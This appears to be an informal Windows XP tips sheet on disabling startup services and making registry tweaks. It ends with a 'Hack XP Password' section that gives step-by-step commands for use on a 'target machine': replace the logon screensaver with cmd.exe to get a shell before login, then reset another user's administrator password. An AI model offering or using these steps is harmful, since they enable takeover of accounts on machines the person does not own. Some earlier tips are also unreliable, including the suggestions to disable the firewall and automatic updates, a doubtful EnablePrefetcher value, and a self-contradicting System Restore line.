XP Tips & Tricks

1.Stopping Unneeded Startup Services and Making XP boot faster !
Along with the core operating system and programs that Windows XP runs when it
starts, there is also a host of services involved. Many of these services are necessary
for Windows XP to operate correctly. However, many of them are for features in
Windows XP that you may not use at all. You can peruse the services and disable any
service that you do not want to run. The fewer services that run, the more quickly
Windows XP will boot.
To reduce the number of services that start on bootup, you can access two different
areas of Windows XP.
. The first is the System Configuration Utility. You can do that by entering the
command “msconfig” in the run menu.
Start -> Run -> “msconfig” (without quotes) || Hit Enter

The Services tab shows you the services that start when the computer
boots. You can stop a service from starting by simply clearing the check box
next to the service and clicking OK.
.However, before you do so, there is another way to disable services that you
may prefer because the interface gives you more information about the service
in question.
Open Control Panel -> Administrative Tools ->Services or
Start -> Run -> “services.msc” || Hit Enter

Take a quick look at common services you may want to live without:
Automatic Updates: This service enables Windows XP to check the Web
automatically for updates. If you don't want to use Automatic Updates, you can
disable the service.

Computer Browser: If your computer is not on a network, you don't need this service.
If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on
a small workgroup, you can still increase boot time by configuring manual IP.

DNS Client: If you are not on a network, you do not need this service.
Error Reporting and Event Log: You don't have to use these services but they can be
very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer.
If you never burn CDs, you can disable the service without any second thoughts.
Indexing Service: Your computer keeps an index of all the files. But if you rarely
search for files, the service is just a resource hog. You can stop it

Windows Firewall/Internet Connection Sharing: If you do not use these features, plz
disable.

Messenger: This service sends alert messages on a local area network (it is not the
same as Windows Messenger). If you are not on a network, you can disable this
service.

Print Spooler: If you do not do any printing from the computer, you can disable this
service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your
computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have
turned off System Restore anyway, you do not need to turn off the service.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can
disable.

Wireless Zero Configuration: If do not use wireless networking devices, you can
disable.

2. Stop Error Messages from Displaying on Startup

If you constantly see an error message that you can't get rid of,for example, from a
piece of software that didn't uninstall properly and continues to give errors on
startup you can disable it from displaying on startup. Run the Registry Editor and go to
HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Windows. (This
key holds a variety of Windows system settings, such as the location of your system
directory.) Create a new DWORD called NoPopupsOnBoot and give it a value of 1.
Exit the Registry and reboot for the setting to take effect. To disable it, either delete
the DWORD value or give it a value of 0.

3. Memory Tweak

1. Start Registry Editor (Regedit.exe) and locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\
MemoryManagement\PrefetchParameters
2.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
3. Close the registry editor and restart your computer.

4. Automatically Killing Tasks on Shutdown
You know the drill. You start to shut down the computer, you wait a few moments,
and then you see a dialog box asking if you want to kill an application or service that
is running. Instead of prompting you, you can make Windows XP take care of the kill
task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

5. Resize Your Wallpaper

If you just switched to a wide-screen monitor, your desktop wallpaper image may no
longer look right, or maybe you just want to make a small adjustment to it.
For more-granular control of your wallpaper's placement, highlight the following key:
HKEY_CURRENT_USER\ControlPanel\desktop
Double-click the WallpaperOriginX icon in the right pane. (If you don't see this icon,
right-click in this pane, choose New, String Value, type WallpaperOriginX to name
the value, and press .) Type a number (in pixels) for the starting horizontal
position of your wallpaper's left edge, and press . Now double-click the
WallpaperOriginY icon (create it if necessary as explained above) and enter a number
for the starting vertical position of the image's top edge. If your wallpaper image is
larger than the screen, type a negative number (for example, -200) to push the
picture's top or left edge off the screen.
To test the effect, first minimize the Registry Editor (and any other open window),
right-click the desktop, choose Properties, and click OK or Apply to refresh the
wallpaper placement. Repeat these steps as needed until the wallpaper is positioned
correctly.The settings work whether you've set your wallpaper to be centered, tiled, or
stretched.

The Ultimate:Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose
Command Expalnation
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the screen
saver you will get an unprotected dos prompt with out logging into XP. Once this
happens if you enter this command minus the quotes "net user here> password"
If the Administrator Account is called Frank and you want the password blah enter
this "net user Frank blah" and this changes the password on franks machine to blah
and you should be in.